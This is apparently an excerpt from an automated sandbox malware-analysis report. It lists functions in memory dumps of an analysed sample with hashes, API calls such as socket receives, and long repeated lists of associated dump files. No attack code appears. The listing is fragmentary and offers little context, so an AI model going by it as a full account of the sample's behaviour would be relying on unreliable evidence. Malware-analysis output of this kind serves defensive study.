Opcode ID: 3abd50a77d0940874eb948b513c0ded02779fbf1955ffebe2fd685f7b0744773
Instruction ID: a2d129895209b30b57cc406800838194f7d23432ed724dbf4a812682d153de92
Opcode Fuzzy Hash: 3abd50a77d0940874eb948b513c0ded02779fbf1955ffebe2fd685f7b0744773
Instruction Fuzzy Hash: 020126BA24E000FDA20155516B24AFE7B79FAD63307308562F647D5141F3A4674DB1A0

Function 04A40CAA Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27526b281499cddd32e7b9ca8a3587baeea60b2aba46502418dca1b70637b2e5
Instruction ID: c6ba16636fafa5e584803dd1d75ae34481ef8c19273d0e2a70fb9639c81ecd72
Opcode Fuzzy Hash: 27526b281499cddd32e7b9ca8a3587baeea60b2aba46502418dca1b70637b2e5
Instruction Fuzzy Hash: BEF0ECFB54E101EDB24096516B0597EB778FAD3334730452AE587C7106E16C254DB135

Function 04A40C97 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 250fdfa6a42a37638f4bc24ba23b263094118a6ab5d7ca22e0b31d13abf39e57
Instruction ID: 6dd3a00951a2e0a175ab68f9ef6a09117d8497ce751cc7c8c70ff1a935f287d0
Opcode Fuzzy Hash: 250fdfa6a42a37638f4bc24ba23b263094118a6ab5d7ca22e0b31d13abf39e57
Instruction Fuzzy Hash: 2FE020BB20F510EC638192926B147BE767CF8D73303704512F64BC6541B198375DB471

Function 04A40CA0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3e1d72c2295850bc0ff908e52e524ec92b33fd4ac0787fdce1f079b131d471f
Instruction ID: aaa5c1d7316d0a59d1c6d426a56584d0e4e4ff8b1ab52182129e67591fa0a670
Opcode Fuzzy Hash: a3e1d72c2295850bc0ff908e52e524ec92b33fd4ac0787fdce1f079b131d471f
Instruction Fuzzy Hash: B1E0207B20E200DC614095512B1457E7638F9D33303304623F543C1041F254764DB071

Function 04A40CC7 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58eeb2e21d579cd60b83b0ddfe4adf68b52a51ceef5688f7db80d3ae37864b45
Instruction ID: 9c9fec16e14673c14b89c584214c154286bedffd62ec11a257b3e52c81994f60
Opcode Fuzzy Hash: 58eeb2e21d579cd60b83b0ddfe4adf68b52a51ceef5688f7db80d3ae37864b45
Instruction Fuzzy Hash: 2AE0C2BF24F010ED718191926F1997EB63CF9D33343304522F587C2042B5A82A4DB0B1

Function 04A40CDD Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0db04e3cadb95dfa19e5d73911be6220cda13032c249c9010ce9fd1034210b7
Instruction ID: 6c2aa911730e7aaaedc0d3518d6ad633b3f60546fc4d0f071063ce9329eb3ec3
Opcode Fuzzy Hash: b0db04e3cadb95dfa19e5d73911be6220cda13032c249c9010ce9fd1034210b7
Instruction Fuzzy Hash: 23E07DB764D124AC7281A0D52B0467CAB38A4CA3303304533F902CB046F1491A4DB071

Function 04A40CF2 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca262f23f0ee2cd3cd8ca4bd5a6892b4a787a40429e8b520c67f4eb235095eff
Instruction ID: 797c2974b2d37819010e9dcb68108ef58f6197bf2e25fbd684750adfc042f9a0
Opcode Fuzzy Hash: ca262f23f0ee2cd3cd8ca4bd5a6892b4a787a40429e8b520c67f4eb235095eff
Instruction Fuzzy Hash: 1AD0C2BB50E000EE71819582BE04979B738E9C223033045A2F455C7045A5A82629F531

Non-executed Functions

Function 0025E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0025E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0025E140

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: c88a868a644ee37c1db34f475d5470be3be3208a235899f681293c956d666a89
Instruction ID: 05258d5f3e94f0b002175559efb7061abba11b023466fd1940af031e8c5a0663
Opcode Fuzzy Hash: c88a868a644ee37c1db34f475d5470be3be3208a235899f681293c956d666a89
Instruction Fuzzy Hash: AB310771A102489FDB24DB68DC85BEB77BCEB08724F110625E914E72C1CA74AC58CBA4

Function 0026CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0026CF52,?,00000003,00000003,?,0026CF87,?,?,?,00000003,00000003,?,0026C4FD,00252FB9,00000001), ref: 0026CC03

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: cc5fe37e40e43b9e4ae716a255c1da8be14b69b7bd225063d5c1499d1f7ec997
Instruction ID: fe4e3612b8b67ebe99a996e941fc4e9f4b76a437a2ce4e3c8e2a69ec1700524f
Opcode Fuzzy Hash: cc5fe37e40e43b9e4ae716a255c1da8be14b69b7bd225063d5c1499d1f7ec997
Instruction Fuzzy Hash: 40D0223272223897CE013B84FC08ABCBB5C8F01B283040162EE0817220CE526C906BD1

Function 0028A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 037042ad29dfc09e8b2dbaa10ea2694e1a43811b493b1d71c6a66161654f6aed
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 11E08C36922268EBCB15EF98C90498AF7ECEB49B01B65009AF901D3190C670DE00CBD0

Function 00252EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00252F5F
__Mtx_unlock.LIBCPMT ref: 00252FCC
__Mtx_unlock.LIBCPMT ref: 002530F5
__Mtx_unlock.LIBCPMT ref: 0025319B

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
